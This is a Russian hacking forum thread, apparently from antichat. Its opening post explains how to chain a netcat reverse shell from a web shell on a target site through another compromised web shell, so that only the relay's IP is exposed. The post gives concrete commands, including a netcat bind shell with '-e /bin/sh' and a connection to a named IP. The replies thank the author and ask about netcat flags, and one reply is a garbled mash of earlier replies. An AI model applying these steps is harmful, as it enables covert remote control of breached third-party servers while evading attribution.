![]() |
Backconnect через другой шелл
Не то, чтобы статья, так, мысли вслух, подтвержденные практикой, может кому полезно будет.
Итак известно, что бекконект с шелла делается на дедик, сейчас рассмотрим тоже самое, только в роли дедика выступит обычный веб-шел. Даны примерные данные, для наглядности, все испытания проводились на Ubuntu 9.10 в терминале. Итак исходные: 1. Есть веб-шелл (наш, давнишний, "левый", может порутаный, может нет, хотим использовать) - условно ВШ1 2. Есть веб-шелл на целевом сайте (другом, не пункт 1) - т.е. тот, что мы хотим порутать к примеру - условно ВШ2 3. Есть терминал (локальный) - условно ТЛ 4. И есть такая прога netcat Задача: сделать бекконект с ВШ2 на ВШ1 и чтобы мы могли рулить в итоге ВШ2 через терминал (ЛОКАЛЬНО) паля только IP ВШ1. Допустим ВШ1 имеет IP 84.177.33.78 Последовательность действий: 1. nc -l -p 31340 -nvv -e /bin/sh & - набираем в консоли ВШ1 2. nc -nvv 84.177.33.78 31340 - набираем в ТЛ 3. Набираем в ТЛ "uname -a" - видим данные ВШ1 4. nc -l -p 31337 -t - набираем в ТЛ после того, как подключились к ВШ1 5. на ВШ2 делаем бекконект любым доступным способом (хоть из встроенного функционала шелла wso, либо отдельный перл-скриптом) указывая IP ВШ1 и порт 31337 6. 3. Набираем в ТЛ "uname -a" - видим данные ВШ2 Всё. Мы сидим в удобном любимом домашнем терминале(с нашими красивыми настройками и etc.) и лазием по ВШ2 через ВШ1. PS: Ничто нам не мешает сделать цепочку таких бекконектов, лишь бы портов хватало свободных. Сорри, если где-то было и повтор |
Действительно, не поверишь, но именно сегодня я задавался этим вопросом как такое реализовать, хотя мне надо было сделать туннель через 3 компостера Windows, но пологаю что всё так оно и будет.
А смысл статьи я так понимаю сводится к малоизвестному параметру нетката как -t означающего туннель, вот это как говорится даже не расчитывал. Теперь учтём, за статейку спасибо, на днях опробую сие чудо под виндой. PS: заодно расшифруйте аргумент -nvv для чего он нужен. |
Довольно интересная статья... Сам не раз задумывался над тем как такое реализовать, никак руки не доходили до практики. Автору рескепт;)
Также интересует параметр nvv, что он определяет? |
Действительно, не поверишь, Довольно интересная статья... именно сегодня Сам не раз задумывался
Также интересует аргумент -nvv для чего он определяет? |
Пашке - спасибо КЭП!
Остальным -
|
Цитата:
|
http://forum.antichat.ru/printthread.php?t=151993
вроде в этой статье вкратце говорится про коннект через другой хост |
| Время: 03:56 |